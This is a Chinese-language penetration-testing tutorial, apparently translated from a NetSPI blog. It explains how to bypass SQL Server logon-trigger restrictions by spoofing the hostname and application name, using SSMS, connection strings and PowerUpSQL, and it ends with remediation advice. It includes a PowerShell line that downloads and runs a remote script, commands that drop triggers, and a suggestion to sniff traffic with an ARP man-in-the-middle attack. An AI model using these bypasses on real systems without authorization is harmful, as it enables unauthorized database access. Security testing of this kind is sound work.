當前位置:
首頁 > 新聞 > 滲透測試技巧:繞過SQL Server登錄觸發器限制

滲透測試技巧:繞過SQL Server登錄觸發器限制

在滲透測試中,對直接連接到SQL Server資料庫的雙層桌面應用程序進行滲透測試是很常見的一種情況。偶爾我們會遇到一個SQL Server後端,但它只允許來自預先定義好的的主機名或應用程序列表的連接。一般來說,這些限制是通過登錄觸發器強制執行的。在這篇博文中,我將展示如何通過使用鮮為人知的連接字元串屬性欺騙主機名和應用程序名稱來繞過這些限制。本文有兩個示例,分別是SSMS和PowerUpSQL。這可能對於使用傳統桌面應用程序的滲透測試人員和開發人員非常有用。

什麼是登錄觸發器?

登錄觸發器本質上是一個存儲過程,在連接SQL Server成功驗證後執行,但在登錄會話創建之前,實際上已經完全建立了登錄觸發器。它們通常用於以編程的方式基於一天中的時間,主機名,應用程序名稱和單個用戶的並發會話數來限制對SQL Server的訪問。

安裝SQL Server

如果你還沒有安裝SQL Server並且想要跟著本文操作,那麼下面是一些可以幫助你入門的資源。

1.從這裡下載並安裝SQL Server 。

2.從此處下載並安裝SQL Server Management Studio Express(SSMS)。

創建登錄觸發器限制主機名連接

下面是在家庭實驗室中設置觸發器的操作說明,該觸發器根據連接的工作站名稱來限制訪問。

1.使用SSMS以sysadmin身份登錄到新的SQL Server實例。

2.首先,讓我們看一下使用下面的命令連接到SQL Server實例的工作站的名稱。默認情況下,使用的是連接到SQL Server實例的工作站的主機名。SELECTHOST_NAME()

3.創建一個僅允許白名單主機名連接的登錄觸發器。完全按照下面給出的的代碼執行觸發器。

-- Create our logon trigger

CREATE TRIGGER MyHostsOnly

ON ALL SERVER

FOR LOGON

AS

BEGIN

IF

(

-- White list of allowed hostnames are defined here.

HOST_NAME() NOT IN ("ProdBox","QaBox","DevBox","UserBox")

)

BEGIN

RAISERROR("You are not allowed to login from this hostname.", 16, 1);

ROLLBACK;

END

END

5.設置完登錄觸發器後,當你嘗試再次使用SSMS登錄時,應該會出現類似於下面的錯誤,因為你使用了不在白名單內的主機名進行了連接。

使用SSMS欺騙主機名

對於繞過這個問題,你可能會問,「攻擊者什麼時候才會在實際的滲透測試中用到這種繞過?」 這通常是在你從配置文件或反編譯代碼中拿到了連接字元串之後,希望使用該信息直接連接到後端SQL Server時會用到這種繞過技術。這是針對應用程序的滲透測試中非常常見的情況,但我們還可能會在滲透測試人員和紅隊交戰期間在打開的文件共享上找到一些內部應用程序和配置文件。

言歸正傳,讓我們繼續在SSMS中欺騙主機名限制。

1.在SSMS中打開「連接對象資源管理器」並導航到選項 - >「其他連接參數」。從那裡你可以動態設置連接字元串屬性(這個功能太酷了)。在這個例子中,我們將「工作站ID」屬性設置為「DevBox」,這個是我們已知的白名單主機名。注意:稍後我將介紹幾種識別白名單主機名的方法。

2.點擊連接登錄。如果你打開查詢窗口並再次檢查主機名,則應該返回的是「DevBox」。這進一步說明了我們成功的繞過了主機名限制。SELECTHOST_NAME()

使用連接字元串欺騙主機名

實際上,SSMS只是使用了我們的「工作站ID」屬性集構建了連接字元串。下面是一個簡單連接字元串的示例,它會以當前Windows用戶連接到遠程SQL Server實例,並選擇「Master」資料庫。

Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;

如果我們在上一節中實現的登錄觸發器已創建,我們應該會看到「連接失敗」的消息。但是,如果將「工作站ID」屬性設置為白名單里的主機名,則可以成功登錄。

Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;

使用PowerUpSQL欺騙主機名

我還在PowerUpSQL 中的Get-sqlquery函數中添加了「WorkstationId」這個參數選項。如果我能騰出更多的時間,我會努力改進其他功能。現在,我會展示一個示例,說明如何繞過我們在上一節中創建的登錄觸發器。

1.打開Powershell並通過你首選的方法載入PowerUpSQL。下面的示例顯示了如何直接從GitHub載入代碼。

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

2.由於觸發器的限制,初始連接失敗。請注意,這裡我設置了「-ReturnError」標誌,目的是查看伺服器返回的錯誤。

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -ReturnError

5.現在將workstationid選項的參數值設置為「DevBox」,就可以成功執行SQL查詢語句。

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"

6.要刪除觸發器,你可以使用以下命令。Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -WorkstationId "DevBox" -Query "DROP TRIGGER MyHostsOnly on all server"

創建登錄觸發器限制應用程序的訪問

以下是在家庭實驗室中設置觸發器的操作說明,該觸發器根據連接的應用程序名稱來限制訪問。

1.使用SSMS以sysadmin身份登錄到新的SQL Server實例。

2.首先,讓我們看一下使用以下命令連接到SQL Server實例的應用程序的名稱。它應該返回的是「Microsoft SQL Server Management Studio - Query」。

SELECT APP_NAME()

3.創建一個僅允許白名單內的應用程序進行連接的登錄觸發器。你可以完全按照下面所示的代碼執行觸發器。

CREATE TRIGGER MyAppsOnly

ON ALL SERVER

FOR LOGON

AS

BEGIN

IF

(

-- Set the white list of application names here

APP_NAME() NOT IN ("Application1","Application2","SuperApp3000","LegacyApp","DevApp1")

)

BEGIN

RAISERROR("You are not allowed to login from this application name.", 16, 1);

ROLLBACK;

END

END

4.設置完登錄觸發器後,當你嘗試再次使用SSMS登錄時,應該會收到類似於下面的錯誤,因為你使用了不在白名單內的應用程序進行了連接。

使用SSMS欺騙應用程序名稱

你可能會再一次問,「我在實際的滲透測試中什麼時候才會遇用到這種繞過?」。一般來說,某些應用程序會靜態設置其名稱用於連接SQL Server的字元串。與主機名類似,我們在配置文件和源代碼中可以找到應用程序名稱。實際上很少見到登錄觸發器會用應用程序名稱來限制訪問,但我也確實遇到過幾次。

好吧,下面讓我們在SSMS中欺騙應用程序名稱。

1.在SSMS中打開「連接對象資源管理器」並導航到選項 - >「其他連接參數」。從那裡你可以動態設置連接字元串屬性。在這個例子中,我們將「應用程序名稱」屬性設置為「SuperApp3000」,這是已知的白名單應用程序名稱。注意:稍後我將介紹幾種識別白名單應用程序名稱的方法。

2.點擊連接進行登錄。如果你再次打開查詢窗口並檢查應用程序名稱,則會返回「SuperApp3000」。這進一步說明了我們成功的欺騙了主機名。SELECTAPP_NAME()

使用連接字元串欺騙應用程序名稱

正如我在上一節中提到的,有一個名為「AppName」的連接字元串屬性,應用程序可以使用這個屬性來為SQL Server定義其應用程序名稱。以下是一些可接受的示例格式。

Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True; Application Name =MyApp"

Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True; ApplicationName =MyApp"

Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True; AppName =MyApp"

使用PowerUpSQL欺騙應用程序名稱

為了有助於說清楚應用程序的名稱欺騙的使用場景,我已經更新了PowerUpSQL的Get-SQLQuery函數,新增了「APPNAME」選項參數。下面是一個基本的示例。

1.打開Powershell並通過你喜歡的方法載入PowerUpSQL。下面的示例顯示了如何直接從GitHub載入代碼。

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

2.PowerUpSQL函數封裝了.NET 的SQL Server函數。使用.NET以編程的方式連接到SQL Server時,默認情況下「appname」屬性設置為「.Net SqlClient Data Provider」。但是,由於我們創建了一個新的登錄觸發器並通過「appname」限制訪問,所以我們會得到以下錯誤。

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -ReturnError

3.現在將「appname」屬性設置為「SuperApp3000」,就可以成功執行查詢。

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000

4.要刪除觸發器,你可以執行下面的命令。

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName SuperApp3000 -Query "DROP TRIGGER MyAppsOnly on all server"

5.現在你可以連接但不需要欺騙應用程序名稱,那麼你可以執行下面的命令

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT APP_NAME()"

6.或者你可以使用任何應用程序名稱連接SQL Server。

Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName EvilClient -Query "SELECT APP_NAME()"

查找白名單里的主機名和應用程序名稱

如果你不確定登錄觸發器的白名單中有哪些主機名和應用程序,那麼下面是一些可能有用的方法。

查看登錄觸發器源代碼

獲取登錄觸發器列出的主機名和應用程序白名單的完整列表的最佳方法是查看源代碼。但是,在大多數情況下,需要特權訪問才能看到源代碼。

SELECTname,

OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,

parent_class_desc,

create_date,

modify_date,

is_ms_shipped,

is_disabled

FROM sys.server_triggers

ORDER BY name ASC

查看使用了硬編碼值的應用程序的代碼

有時候,允許連接的主機名和應用程序會被硬編碼到應用程序中。如果你遇到的是.NET或Java應用程序,則可以反編譯並在源代碼中查看該程序所使用的連接字元串。此方法假定你可以訪問應用程序集或配置文件。JD-GUI和DNSPY可以用於反編譯。

查看應用程序流量

有時候,應用程序啟動時會從資料庫伺服器中獲取允許的主機名和應用程序。因此,你可以使用自己喜歡的嗅探器來獲取白名單列表。這個方法我屢試不爽。你可能會問,為什麼有人會這樣做?可能沒有人會知道。

使用域系統列表

如果你已擁有域帳戶,則可以在Active Directory中查詢域計算機列表。然後,你可以遍歷列表,直到嘗試出允許連接的列表。在這種情況下,當前登錄的域用戶需要具有登錄SQL Server的許可權,並且列出的白名單內的主機名與域有關聯。

使用MITM嗅探連接

你還可以執行基於ARP的中間人(MITM)攻擊,攔截從遠程系統到SQL Server的連接。如果連接已加密(自SQL Server 2014開始傳輸默認會加密),你將看不到流量,但你仍然可以看到正在連接的主機。當然也可以使用其他MITM技術。

注意:如果需要證書驗證,那麼這可能會導致數據包丟失並對生產系統產生影響,因此請謹慎使用該方法。

一般的修復建議

·不要在登錄觸發器中使用客戶端可以輕鬆更改的信息來限制對SQL Server的訪問。

·如果你希望限制對白名單列表的訪問,請考慮使用網路防火牆或主機級防火牆規則而不是登錄觸發器。

·可以考慮根據用戶組和分配的許可權來限制對SQL Server的訪問,而不是使用登錄觸發器。

總結

在本博文中,我介紹了一些利用鮮有人知的連接字元串屬性來繞過SQL Server登錄觸發器強制執行的訪問限制的方法。如果你對傳統桌面應用程序進行滲透測試,那麼希望本文對你有用。與此同時,本博文也意在強調,在構建桌面應用程序時需要避免的一些事情。此外,我還更新了「SQL Server連接字元串的手冊」,你可以在這裡找到。

參考

·https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8

·https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017

·https://blog.sqlauthority.com/2018/04/14/sql-server-be-careful-with-logon-triggers-dont-use-host_name/


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

ToR服務中的公共IP是如何通過SSL證書暴露的
萬豪國際泄露事件後續——簡單調查分析與建議

TAG:嘶吼RoarTalk |